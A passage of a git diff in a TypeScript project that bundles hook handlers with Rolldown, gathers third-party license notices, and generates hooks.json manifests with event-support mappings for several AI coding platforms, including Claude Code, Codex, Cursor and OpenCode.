与 NOTICE 文件名。 */ - const noticeFiles = entries - .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/iu.test(entry.name)) - .map(entry => entry.name) - .sort(compareCodeUnits); - if (noticeFiles.length === 0) - throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); - return { - name: manifest.name, - version: manifest.version, - license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', - notices: await Promise.all(noticeFiles.map(async (name) => { - /** 当前第三方法律文件的完整文本。 */ - const text = (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(); - return Object.freeze({ name, text }); - })), - }; - } - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if ((error as NodeJS.ErrnoException).code !== 'ENOENT') - throw error; - } - directory = path.dirname(directory); - } - throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); -} - -/** - * 汇总 Bundle 实际包含的第三方包许可,并写入稳定文本文件。 - * - * @param chunk 唯一的 Rolldown 输出 Chunk。 - * @param directory Handler Bundle 所在目录。 - * @returns 存在第三方依赖时返回许可文件路径,否则返回 undefined。 - */ -async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { - /** 按包名和版本去重的许可记录。 */ - const records = new Map(); - /** moduleId 表示当前 Bundle Module,用于追溯第三方许可。 */ - for (const moduleId of Object.keys(chunk.modules).sort(compareCodeUnits)) { - /** 当前 Bundle Module 所属的可选第三方包许可。 */ - const record = await packageLicenseForModule(moduleId); - if (record !== undefined) - records.set(`${record.name}@${record.version}`, record); - } - if (records.size === 0) - return undefined; - /** 按确定顺序拼接的许可文件段落。 */ - const sections = ['THIRD-PARTY LICENSES']; - for (const [id, record] of [...records].sort(([left], [right]) => compareCodeUnits(left, right))) { - sections.push(`## ${id}\nSPDX: ${record.license}`); - /** notice 表示当前包的一个 LICENSE 或 NOTICE 文件。 */ - for (const notice of record.notices) - sections.push(`### ${notice.name}\n${notice.text}`); - } - /** 与 Handler 一同发布的第三方许可文件路径。 */ - const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); - await fs.writeFile(destination, `${sections.join('\n\n')}\n`); - return destination; -} - -/** - * 判断 Bundle 模块图是否包含 Node 原生扩展。 - * - * @param moduleId Rolldown 输出记录的 Module ID。 - * @returns 文件扩展名是 `.node` 时返回 true。 - */ -function isNativeAddon(moduleId: string): boolean { - /** 去掉查询参数后的真实模块路径。 */ - const normalized = moduleId.replace(/\?.*$/u, ''); - return path.extname(normalized) === '.node'; -} - -/** - * 移除 Rolldown 为模块边界生成的 region 注释,同时保留用户和第三方的法律注释。 - * - * Hook 的虚拟 runner 位于 Core 每轮创建的随机 workDir;Rolldown 默认把这个 - * 绝对临时路径写入 `//#region`,会让相同输入的 Handler 字节和报告 hash 漂移。 - * region 标记不参与运行语义或许可履约,因此必须在提交 Artifact 前移除。 - * - * @param code Rolldown 唯一输出 Chunk 的源码。 - * @returns 不含机器路径相关 region 标记的稳定 ESM 源码。 - */ -function stableChunkCode(code: string): string { - return code.replace(/^\/\/#(?:end)?region[^\r\n]*(?:\r?\n|$)/gmu, ''); -} - -/** - * 把 Rolldown 实际解析的作者模块图登记给 Core,排除 Extension 自己生成的临时入口。 - * - * @param context 当前 Extension build 上下文。 - * @param moduleIds 输出 Chunk 中的全部模块 ID。 - * @param generatedEntry 当前构建独占且不应进入 dev 监听集合的 runner 真实路径。 - */ -function registerBundleWatchFiles( - context: ExtensionBuildContext, - moduleIds: readonly string[], - generatedEntry: string, -): void { - for (const moduleId of moduleIds) { - /** 查询参数不属于文件名,虚拟模块与相对 ID 也不能交给文件监听器。 */ - const file = moduleId.replace(/\?.*$/u, ''); - if (!path.isAbsolute(file)) - continue; - if (file === generatedEntry) - continue; - /** runner.mjs 位于每轮都会删除的 workDir,监听它会制造无效重建。 */ - const relative = path.relative(context.workDir, file); - if (relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative))) - continue; - context.addWatchFile(file); - } -} - -/** - * 把单个用户 Hook 与框架运行器构建为独立、平台中立的 ESM Handler。 - * - * @param hook 待构建的 Hook 描述。 - * @param workDir Extension 在本次构建中的隔离工作目录。 - * @returns Adapter 可以直接贡献的 Handler 与可选许可文件。 - */ -async function bundleHook(hook: DiscoveredHook, context: ExtensionBuildContext): Promise { - /** 当前 Hook 独占的 Bundle 工作目录。 */ - const directory = path.join(context.workDir, hook.id); - await fs.mkdir(directory, { recursive: true }); - /** Rolldown 使用真实路径解析模块;macOS 的 `/var` 别名必须先与 `/private/var` 对齐。 */ - const realDirectory = await fs.realpath(directory); - /** 作者入口同样规范化,避免相对 import 跨越文件系统别名后落到不存在的路径。 */ - const realSourcePath = await fs.realpath(hook.sourcePath); - /** 动态生成且导入用户 hook.ts 的 Rolldown 入口。 */ - const runner = path.join(realDirectory, 'runner.mjs'); - await fs.writeFile(runner, createRunnerSource({ ...hook, sourcePath: realSourcePath }, realDirectory)); - /** 保留 Node 内置模块为 external 的内存构建结果。 */ - const output = await rolldownBuild({ - input: runner, - platform: 'node', - transform: { target: 'node20' }, - plugins: [authorApiPlugin()], - external: [/^node:/u], - write: false, - output: { - format: 'esm', - sourcemap: false, - codeSplitting: false, - comments: { legal: true }, - }, - }); - /** 构建产生的 JavaScript Chunk;协议要求严格只有一个。 */ - const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); - if (chunks.length !== 1 || output.output.some(item => item.type === 'asset')) - throw new Error(`Hook "${hook.id}" must bundle to one JavaScript chunk and no assets.`); - /** 唯一输出 Chunk,用于原生依赖检查、写入和许可收集。 */ - const chunk = chunks[0]!; - if (Object.keys(chunk.modules).some(isNativeAddon)) - throw new Error(`Hook "${hook.id}" includes an unsupported native addon.`); - // dev 必须跟随 Rolldown 的真实解析结果,而不是只监听 hook.ts 描述入口。 - registerBundleWatchFiles(context, Object.keys(chunk.modules), runner); - /** 最终贡献给 Plugin 的独立 ESM Handler。 */ - const handler = path.join(directory, 'handler.mjs'); - await fs.writeFile(handler, stableChunkCode(chunk.code)); - /** Bundle 包含第三方依赖时生成的许可汇总。 */ - const licenses = await writeThirdPartyLicenses(chunk, directory); - return Object.freeze({ - id: hook.id, - definition: hook.definition, - handler, - ...(licenses === undefined ? {} : { licenses }), - }); -} - -/** - * 为全部已验证 Hook 各生成一次平台中立 Handler。 - * - * @param context Core 提供的 Extension 隔离工作目录。 - * @param discovered 已通过 validate 阶段的 Hooks 状态。 - * @returns 可由多个 Platform Adapter 复用的稳定 Built State。 - */ -export async function buildHooks( - context: ExtensionBuildContext, - discovered: Readonly, -): Promise { - /** 按发现顺序构建的 Handler 列表。 */ - const hooks: BundledHook[] = []; - for (const hook of discovered.hooks) - hooks.push(await bundleHook(hook, context)); - return Object.freeze({ hooks: Object.freeze(hooks) }); -} diff --git a/packages/extensions/hooks/src/constants.ts b/packages/extensions/hooks/src/constants.ts index dfb7731..59cba67 100644 --- a/packages/extensions/hooks/src/constants.ts +++ b/packages/extensions/hooks/src/constants.ts @@ -19,12 +19,6 @@ export const OPENCODE_PLATFORM_ID = 'opencode'; /** Pi 官方 Platform 的稳定 ID。 */ export const PI_PLATFORM_ID = 'pi'; -/** Claude Code 与 Codex Platform 共同公开的 Plugin Manifest 逻辑 ID。 */ -export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; - -/** Hooks Adapter 写入的固定平台清单相对路径。 */ -export const HOOKS_MANIFEST_PATH = 'hooks/hooks.json'; - /** Hook 一级目录接受的小写 kebab-case 格式。 */ export const HOOK_ID_PATTERN: RegExp = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; diff --git a/packages/extensions/hooks/src/contributors/antigravity.ts b/packages/extensions/hooks/src/contributors/antigravity.ts new file mode 100644 index 0000000..26e1d08 --- /dev/null +++ b/packages/extensions/hooks/src/contributors/antigravity.ts @@ -0,0 +1,69 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltHooks } from '../build.js'; +import { eventName } from '../discovery.js'; +import { + addHookRuntime, + addJsonAsset, + appliesToPlatform, + collector, + finishContribution, + reportSupport, + resolveOptions, + type HookEventSupport, +} from './common.js'; + +/** Antigravity 对 canonical Hook 事件的固定映射。 */ +const EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'native', nativeEvent: 'SessionStart', reason: 'Antigravity supports SessionStart.' }, + SessionEnd: { supported: true, level: 'native', nativeEvent: 'SessionEnd', reason: 'Antigravity supports SessionEnd.' }, + UserPromptSubmit: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented prompt-submit Hook.' }, + PreToolUse: { supported: true, level: 'native', nativeEvent: 'PreToolUse', reason: 'Antigravity supports PreToolUse.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'Antigravity has no distinct permission request Hook.' }, + PostToolUse: { supported: true, level: 'native', nativeEvent: 'PostToolUse', reason: 'Antigravity supports PostToolUse.' }, + PreCompact: { supported: true, level: 'native', nativeEvent: 'PreCompact', reason: 'Antigravity supports PreCompact.' }, + PostCompact: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented post-compaction Hook.' }, + SubagentStart: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented subagent-start Hook.' }, + SubagentStop: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented subagent-stop Hook.' }, + Stop: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented stop Hook.' }, +}); + +/** Antigravity Contributor 只追加根 hooks.json 和支持事件的 Handler。 */ +export const antigravityContributor: PlatformContributor = Object.freeze({ + platform: 'antigravity', + platformApiVersion: '1', + /** 以只读 Built State 追加 Antigravity 的 Hook 文档和兼容性。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚根 Asset 和完整 compatibility。 */ + const output = collector(); + /** groups 使用 Antigravity matcher + hooks 结构。 */ + const groups: Record>[] }[]> = {}; + for (const hook of built.hooks) { + /** event 选择固定支持项。 */ + const event = eventName(hook.definition); + /** support 对平台限定事件不伪造 fallback。 */ + const support = appliesToPlatform(hook, 'antigravity') + ? EVENTS[event] ?? { supported: false, level: 'unsupported' as const, reason: `Antigravity does not recognize ${event}.` } + : { supported: false, level: 'unsupported' as const, reason: 'The Hook explicitly targets another Platform.' }; + /** options 已由共享 validate Schema 约束。 */ + const options = resolveOptions(hook, 'antigravity'); + reportSupport(output, hook, 'antigravity', support, options, { + matcherNative: event === 'PreToolUse' || event === 'PostToolUse', statusNative: false, + }); + if (!support.supported || support.nativeEvent === undefined) + continue; + addHookRuntime(output, hook, 'hooks'); + /** 固定命令只调用当前 Plugin 内 Handler。 */ + const handler = Object.freeze({ + type: 'command', + command: `node "\${ANTIGRAVITY_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" antigravity`, + }); + (groups[support.nativeEvent] ??= []).push(Object.freeze({ + ...(options.matcher === undefined ? {} : { matcher: options.matcher }), + hooks: Object.freeze([handler]), + })); + } + if (Object.keys(groups).length > 0) + await addJsonAsset(context, output, 'hooks.json', { hooks: groups } as unknown as JsonValue, built.hooks.map(hook => `hook:${hook.id}`)); + return finishContribution(output); + }, +}); diff --git a/packages/extensions/hooks/src/contributors/claude-code.ts b/packages/extensions/hooks/src/contributors/claude-code.ts new file mode 100644 index 0000000..3ee0926 --- /dev/null +++ b/packages/extensions/hooks/src/contributors/claude-code.ts @@ -0,0 +1,78 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltHooks } from '../build.js'; +import { eventName } from '../discovery.js'; +import { + addHookRuntime, + addJsonAsset, + appliesToPlatform, + collector, + finishContribution, + hasExtensionPoint, + reportSupport, + resolveOptions, +} from './common.js'; + +/** Claude Code matcher 字段存在但当前事件会忽略 matcher 的集合。 */ +const MATCHER_IGNORED = new Set([ + 'UserPromptSubmit', 'PostToolBatch', 'Stop', 'TeammateIdle', 'TaskCreated', 'TaskCompleted', + 'WorktreeCreate', 'WorktreeRemove', 'MessageDisplay', 'CwdChanged', +]); + +/** Claude Code Hook Manifest 中的一组受控 command Handler。 */ +interface HookGroup { + readonly matcher?: string; + readonly hooks: readonly Readonly>[]; +} + +/** Claude Code Contributor 使用 Plugin Manifest 的 hooks exact point。 */ +export const claudeCodeContributor: PlatformContributor = Object.freeze({ + platform: 'claude-code', + platformApiVersion: '1', + /** 生成原生 exec-form hooks.json 并复用 portable Handler refs。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 同时收集 add-only Assets 和兼容性。 */ + const output = collector(); + /** groups 按事件保存,stableJson 最终固定键序。 */ + const groups: Record = {}; + for (const hook of built.hooks) { + /** event 是 descriptor 中已验证的原生或规范事件。 */ + const event = eventName(hook.definition); + /** applicable false 只报告 unsupported,不能引用 Handler。 */ + const applicable = appliesToPlatform(hook, 'claude-code'); + /** options 已在 validate 阶段通过 Claude Schema。 */ + const options = resolveOptions(hook, 'claude-code'); + reportSupport(output, hook, 'claude-code', applicable + ? { supported: true, level: 'native', reason: `Claude Code supports local command handlers for ${event}.` } + : { supported: false, level: 'unsupported', reason: 'The Hook explicitly targets another Platform.' }, options, { + matcherNative: !MATCHER_IGNORED.has(event), + statusNative: true, + }); + if (!applicable) + continue; + addHookRuntime(output, hook, 'hooks'); + /** handler 只调用受管 Bundle,不接受作者命令。 */ + const handler: Readonly> = Object.freeze({ + type: 'command', + command: 'node', + args: [`\${CLAUDE_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs`, 'claude-code'], + ...(options.timeout === undefined ? {} : { timeout: options.timeout }), + ...(options.statusMessage === undefined ? {} : { statusMessage: options.statusMessage }), + }); + (groups[event] ??= []).push(Object.freeze({ + ...(options.matcher === undefined ? {} : { matcher: options.matcher }), + hooks: Object.freeze([handler]), + })); + } + if (Object.keys(groups).length === 0) + return finishContribution(output); + if (!hasExtensionPoint(context, 'plugin-manifest', ['hooks'])) { + context.diagnostics.report({ + code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', + message: 'Claude Code Platform does not expose plugin-manifest hooks.', + }); + return finishContribution(output); + } + await addJsonAsset(context, output, 'hooks/hooks.json', { hooks: groups } as unknown as JsonValue, built.hooks.map(hook => `hook:${hook.id}`)); + return finishContribution(output, [{ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }]); + }, +}); diff --git a/packages/extensions/hooks/src/contributors/codex.ts b/packages/extensions/hooks/src/contributors/codex.ts new file mode 100644 index 0000000..1398e69 --- /dev/null +++ b/packages/extensions/hooks/src/contributors/codex.ts @@ -0,0 +1,69 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltHooks } from '../build.js'; +import { eventName } from '../discovery.js'; +import { + addHookRuntime, + addJsonAsset, + appliesToPlatform, + collector, + finishContribution, + hasExtensionPoint, + reportSupport, + resolveOptions, +} from './common.js'; + +/** Codex Hook Manifest 中的一组 command Handler。 */ +interface HookGroup { + readonly matcher?: string; + readonly hooks: readonly Readonly>[]; +} + +/** Codex Contributor 生成当前字符串命令协议。 */ +export const codexContributor: PlatformContributor = Object.freeze({ + platform: 'codex', + platformApiVersion: '1', + /** 以只读 Built State 追加 Codex 的 Hook 文档和兼容性。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚同 owner 的配置、Handler 与兼容性。 */ + const output = collector(); + /** groups 按规范事件名建立。 */ + const groups: Record = {}; + for (const hook of built.hooks) { + /** event 经过 Extension validate。 */ + const event = eventName(hook.definition); + /** applicable 区分规范事件和 Claude-only 事件。 */ + const applicable = appliesToPlatform(hook, 'codex'); + /** options 是 Codex 精确覆盖结果。 */ + const options = resolveOptions(hook, 'codex'); + reportSupport(output, hook, 'codex', applicable + ? { supported: true, level: 'native', reason: `Codex supports local command handlers for ${event}.` } + : { supported: false, level: 'unsupported', reason: 'The Hook explicitly targets another Platform.' }, options, { + matcherNative: event !== 'UserPromptSubmit' && event !== 'Stop', + statusNative: true, + }); + if (!applicable) + continue; + addHookRuntime(output, hook, 'hooks'); + /** Codex 当前 command 字段使用固定 Plugin root 模板。 */ + const handler: Readonly> = Object.freeze({ + type: 'command', + command: `node "\${PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" codex`, + ...(options.timeout === undefined ? {} : { timeout: options.timeout }), + ...(options.statusMessage === undefined ? {} : { statusMessage: options.statusMessage }), + ...(options.additionalContextLimit === undefined ? {} : { additionalContextLimit: options.additionalContextLimit }), + }); + (groups[event] ??= []).push(Object.freeze({ + ...(options.matcher === undefined ? {} : { matcher: options.matcher }), + hooks: Object.freeze([handler]), + })); + } + if (Object.keys(groups).length === 0) + return finishContribution(output); + if (!hasExtensionPoint(context, 'plugin-manifest', ['hooks'])) { + context.diagnostics.report({ code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', message: 'Codex Platform does not expose plugin-manifest hooks.' }); + return finishContribution(output); + } + await addJsonAsset(context, output, 'hooks/hooks.json', { hooks: groups } as unknown as JsonValue, built.hooks.map(hook => `hook:${hook.id}`)); + return finishContribution(output, [{ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }]); + }, +}); diff --git a/packages/extensions/hooks/src/contributors/common.ts b/packages/extensions/hooks/src/contributors/common.ts new file mode 100644 index 0000000..da575a6 --- /dev/null +++ b/packages/extensions/hooks/src/contributors/common.ts @@ -0,0 +1,191 @@ +import { + stableJson, + type CompatibilityInput, + type ContributionContext, + type DocumentFieldPath, + type JsonValue, + type PackageAssetInput, + type PackageContribution, +} from '@tokenroll/acplugin/sdk'; +import type { BuiltHook, BuiltHooks } from '../build.js'; +import { eventCapability, platformForEvent, platformOptions } from '../discovery.js'; + +/** Contributor 合并顶层默认值与平台覆盖后的配置。 */ +export interface ResolvedHookOptions { + readonly matcher?: string; + readonly timeout?: number; + readonly statusMessage?: string; + readonly additionalContextLimit?: number; +} + +/** 非默认 Platform 对一个规范事件的固定支持结论。 */ +export interface HookEventSupport { + readonly supported: boolean; + readonly level: 'native' | 'transform' | 'degraded' | 'unsupported'; + readonly nativeEvent?: string; + readonly reason: string; +} + +/** Contributor 构建结果时使用的 mutable 收集器。 */ +export interface ContributionCollector { + readonly assets: PackageAssetInput[]; + readonly compatibility: CompatibilityInput[]; +} + +/** @returns Hook 是否声明为当前 Platform 可消费。 */ +export function appliesToPlatform(hook: BuiltHook, platform: string): boolean { + /** target 省略表示规范事件面向全部 Platform。 */ + const target = platformForEvent(hook.definition); + return target === undefined || target === platform; +} + +/** @returns 当前 Platform 合并后的纯数据 Hook options。 */ +export function resolveOptions(hook: BuiltHook, platform: string): ResolvedHookOptions { + /** override 已在 validate 阶段通过对应 Contributor Schema。 */ + const override = platformOptions(hook.definition, platform); + /** 每项只在覆盖类型准确时替换顶层值。 */ + const matcher = typeof override?.matcher === 'string' + ? override.matcher + : typeof hook.definition.matcher === 'string' ? hook.definition.matcher : undefined; + /** timeout 使用相同的显式覆盖优先级。 */ + const timeout = typeof override?.timeout === 'number' + ? override.timeout + : typeof hook.definition.timeout === 'number' ? hook.definition.timeout : undefined; + /** statusMessage 不进入不支持的平台 wire。 */ + const statusMessage = typeof override?.statusMessage === 'string' + ? override.statusMessage + : typeof hook.definition.statusMessage === 'string' ? hook.definition.statusMessage : undefined; + /** additionalContextLimit 只属于 Codex 覆盖。 */ + const additionalContextLimit = typeof override?.additionalContextLimit === 'number' + ? override.additionalContextLimit + : undefined; + return Object.freeze({ + ...(matcher === undefined ? {} : { matcher }), + ...(timeout === undefined ? {} : { timeout }), + ...(statusMessage === undefined ? {} : { statusMessage }), + ...(additionalContextLimit === undefined ? {} : { additionalContextLimit }), + }); +} + +/** @returns matcher 是否实际缩小事件范围。 */ +export function meaningfulMatcher(value: string | undefined): boolean { + return value !== undefined && value !== '' && value !== '*'; +} + +/** @returns base Document 是否公开当前 exact add-only point。 */ +export function hasExtensionPoint( + context: ContributionContext, + documentId: string, + path: DocumentFieldPath, +): boolean { + /** key 采用 JSON tuple,避免字段分隔符歧义。 */ + const key = JSON.stringify(path); + /** document 只来自当前 Platform base snapshot。 */ + const document = context.base.documents.find(candidate => candidate.id === documentId); + return document?.extensionPoints.some(candidate => JSON.stringify(candidate) === key) === true; +} + +/** 对一个支持结论追加事件 tuple 和可选 matcher/status 差异。 */ +export function reportSupport( + collector: ContributionCollector, + hook: BuiltHook, + platform: string, + support: HookEventSupport, + options: ResolvedHookOptions, + input: { readonly matcherNative: boolean; readonly statusNative: boolean }, +): void { + collector.compatibility.push(Object.freeze({ + subject: `hook:${hook.id}`, + capability: `event.${eventCapability(hook.definition)}`, + level: support.level, + ...(support.nativeEvent === undefined ? {} : { transformation: support.nativeEvent.toLowerCase().replaceAll('_', '-') }), + reason: support.reason, + })); + if (!support.supported) + return; + if (meaningfulMatcher(options.matcher) && !input.matcherNative) { + collector.compatibility.push(Object.freeze({ + subject: `hook:${hook.id}`, + capability: 'matcher', + level: 'degraded', + reason: `${platform} cannot preserve this matcher for the selected event.`, + })); + } + if (options.statusMessage !== undefined && !input.statusNative) { + collector.compatibility.push(Object.freeze({ + subject: `hook:${hook.id}`, + capability: 'status-message', + level: 'degraded', + reason: `${platform} has no stable Hook status message field in this protocol.`, + })); + } +} + +/** 把同一个 Core GeneratedAssetRef 映射到当前 Platform 固定 Handler 根。 */ +export function addHookRuntime( + collector: ContributionCollector, + hook: BuiltHook, + root: string, +): void { + collector.assets.push(Object.freeze({ path: `${root}/${hook.id}/handler.mjs`, asset: hook.handler })); + if (hook.licenses !== undefined) { + collector.assets.push(Object.freeze({ + path: `${root}/${hook.id}/THIRD_PARTY_LICENSES.txt`, + asset: hook.licenses, + })); + } +} + +/** 通过 Extension owner Asset Service 创建稳定 JSON Package Asset。 */ +export async function addJsonAsset( + context: ContributionContext, + collector: ContributionCollector, + path: string, + value: JsonValue, + subjects: readonly string[], +): Promise { + /** asset bytes 来自 SDK stable codec,不写 dist/workDir。 */ + const asset = await context.assets.fromBytes({ + bytes: stableJson(value), + origin: { operation: 'hook-platform-config', subjects }, + }); + collector.assets.push(Object.freeze({ path, asset })); +} + +/** 通过 Extension owner Asset Service 创建固定运行时桥接 Asset。 */ +export async function addRuntimeAsset( + context: ContributionContext, + collector: ContributionCollector, + path: string, + bytes: string, + subjects: readonly string[], +): Promise { + /** 运行时桥只包含 Extension 自有代码和静态 descriptor。 */ + const asset = await context.assets.fromBytes({ + bytes, + origin: { operation: 'hook-platform-runtime', subjects }, + }); + collector.assets.push(Object.freeze({ path, asset })); +} + +/** @returns 冻结且满足 Contribution 必填 compatibility 的最终对象。 */ +export function finishContribution( + collector: ContributionCollector, + documentFields: PackageContribution['documentFields'] = [], +): PackageContribution { + return Object.freeze({ + ...(documentFields.length === 0 ? {} : { documentFields: Object.freeze([...documentFields]) }), + ...(collector.assets.length === 0 ? {} : { assets: Object.freeze(collector.assets) }), + compatibility: Object.freeze(collector.compatibility), + }); +} + +/** 创建一个空的 Contributor 收集器。 */ +export function collector(): ContributionCollector { + return { assets: [], compatibility: [] }; +} + +/** @returns 所有 Hook 的稳定 subject 列表。 */ +export function hookSubjects(built: Readonly): readonly string[] { + return Object.freeze(built.hooks.map(hook => `hook:${hook.id}`)); +} diff --git a/packages/extensions/hooks/src/contributors/cursor.ts b/packages/extensions/hooks/src/contributors/cursor.ts new file mode 100644 index 0000000..183a0b7 --- /dev/null +++ b/packages/extensions/hooks/src/contributors/cursor.ts @@ -0,0 +1,70 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltHooks } from '../build.js'; +import { eventName } from '../discovery.js'; +import { + addHookRuntime, + addJsonAsset, + appliesToPlatform, + collector, + finishContribution, + hasExtensionPoint, + reportSupport, + resolveOptions, + type HookEventSupport, +} from './common.js'; + +/** Cursor 对 canonical Hook 事件的固定映射。 */ +const EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'transform', nativeEvent: 'sessionStart', reason: 'Cursor provides sessionStart.' }, + SessionEnd: { supported: true, level: 'transform', nativeEvent: 'sessionEnd', reason: 'Cursor provides sessionEnd.' }, + UserPromptSubmit: { supported: true, level: 'transform', nativeEvent: 'beforeSubmitPrompt', reason: 'Cursor provides beforeSubmitPrompt.' }, + PreToolUse: { supported: true, level: 'transform', nativeEvent: 'preToolUse', reason: 'Cursor provides preToolUse.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'Cursor has no verified distinct permission request Hook.' }, + PostToolUse: { supported: true, level: 'transform', nativeEvent: 'postToolUse', reason: 'Cursor provides postToolUse.' }, + PreCompact: { supported: true, level: 'transform', nativeEvent: 'preCompact', reason: 'Cursor provides preCompact.' }, + PostCompact: { supported: false, level: 'unsupported', reason: 'Cursor has no verified post-compaction Hook.' }, + SubagentStart: { supported: true, level: 'transform', nativeEvent: 'subagentStart', reason: 'Cursor provides subagentStart.' }, + SubagentStop: { supported: true, level: 'transform', nativeEvent: 'subagentStop', reason: 'Cursor provides subagentStop.' }, + Stop: { supported: true, level: 'transform', nativeEvent: 'stop', reason: 'Cursor provides stop.' }, +}); + +/** Cursor Contributor 生成 version 1 command Hooks。 */ +export const cursorContributor: PlatformContributor = Object.freeze({ + platform: 'cursor', + platformApiVersion: '1', + /** 以只读 Built State 追加 Cursor 的 Hook 文档和兼容性。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚 Cursor 自有 add-only 结果。 */ + const output = collector(); + /** groups 映射 Cursor 原生事件到命令数组。 */ + const groups: Record>[]> = {}; + for (const hook of built.hooks) { + /** event 决定固定支持矩阵。 */ + const event = eventName(hook.definition); + /** support 对平台限定事件显式 unsupported。 */ + const support = appliesToPlatform(hook, 'cursor') + ? EVENTS[event] ?? { supported: false, level: 'unsupported' as const, reason: `Cursor does not recognize ${event}.` } + : { supported: false, level: 'unsupported' as const, reason: 'The Hook explicitly targets another Platform.' }; + /** options 用于 matcher/status 兼容结论。 */ + const options = resolveOptions(hook, 'cursor'); + reportSupport(output, hook, 'cursor', support, options, { + matcherNative: event === 'PreToolUse' || event === 'PostToolUse', + statusNative: false, + }); + if (!support.supported || support.nativeEvent === undefined) + continue; + addHookRuntime(output, hook, 'hooks'); + /** command 只引用 Cursor Plugin root 下的受管 Handler。 */ + const command = `node "\${CURSOR_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" cursor`; + (groups[support.nativeEvent] ??= []).push(Object.freeze({ command })); + } + if (Object.keys(groups).length === 0) + return finishContribution(output); + if (!hasExtensionPoint(context, 'plugin-manifest', ['hooks'])) { + context.diagnostics.report({ code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', message: 'Cursor Platform does not expose plugin-manifest hooks.' }); + return finishContribution(output); + } + await addJsonAsset(context, output, 'hooks/hooks.json', { version: 1, hooks: groups } as unknown as JsonValue, built.hooks.map(hook => `hook:${hook.id}`)); + return finishContribution(output, [{ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }]); + }, +}); diff --git a/packages/extensions/hooks/src/contributors/index.ts b/packages/extensions/hooks/src/contributors/index.ts new file mode 100644 index 0000000..a861901 --- /dev/null +++ b/packages/extensions/hooks/src/contributors/index.ts @@ -0,0 +1,20 @@ +import type { PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltHooks } from '../build.js'; +import { antigravityContributor } from './antigravity.js'; +import { claudeCodeContributor } from './claude-code.js'; +import { codexContributor } from './codex.js'; +import { cursorContributor } from './cursor.js'; +import { openCodeContributor } from './opencode.js'; +import { piContributor } from './pi.js'; + +/** @returns 六个互不观察、只消费同一 Built State 的官方 Contributors。 */ +export function createHooksContributors(): readonly PlatformContributor[] { + return Object.freeze([ + claudeCodeContributor, + codexContributor, + cursorContributor, + antigravityContributor, + openCodeContributor, + piContributor, + ]); +} diff --git a/packages/extensions/hooks/src/contributors/opencode.ts b/packages/extensions/hooks/src/contributors/opencode.ts new file mode 100644 index 0000000..fd7ffa8 --- /dev/null +++ b/packages/extensions/hooks/src/contributors/opencode.ts @@ -0,0 +1,69 @@ +import type { ContributionContext, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltHook, BuiltHooks } from '../build.js'; +import { eventName } from '../discovery.js'; +import { createOpenCodePluginSource, runtimeHookDescriptor } from '../runtime-integration-source.js'; +import { + addHookRuntime, + addRuntimeAsset, + appliesToPlatform, + collector, + finishContribution, + reportSupport, + resolveOptions, + type HookEventSupport, +} from './common.js'; + +/** OpenCode runtime Plugin 对 canonical 事件的固定映射。 */ +const EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'native', nativeEvent: 'session.created', reason: 'OpenCode exposes session.created.' }, + SessionEnd: { supported: true, level: 'degraded', nativeEvent: 'session.deleted', reason: 'OpenCode session.deleted cannot preserve every completion result.' }, + UserPromptSubmit: { supported: true, level: 'native', nativeEvent: 'chat.message', reason: 'OpenCode exposes chat.message.' }, + PreToolUse: { supported: true, level: 'native', nativeEvent: 'tool.execute.before', reason: 'OpenCode exposes tool.execute.before.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'OpenCode has no distinct permission request Hook.' }, + PostToolUse: { supported: true, level: 'native', nativeEvent: 'tool.execute.after', reason: 'OpenCode exposes tool.execute.after.' }, + PreCompact: { supported: false, level: 'unsupported', reason: 'OpenCode has no verified pre-compaction Hook.' }, + PostCompact: { supported: true, level: 'native', nativeEvent: 'session.compacted', reason: 'OpenCode exposes session.compacted.' }, + SubagentStart: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable subagent-start Hook.' }, + SubagentStop: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable subagent-stop Hook.' }, + Stop: { supported: true, level: 'degraded', 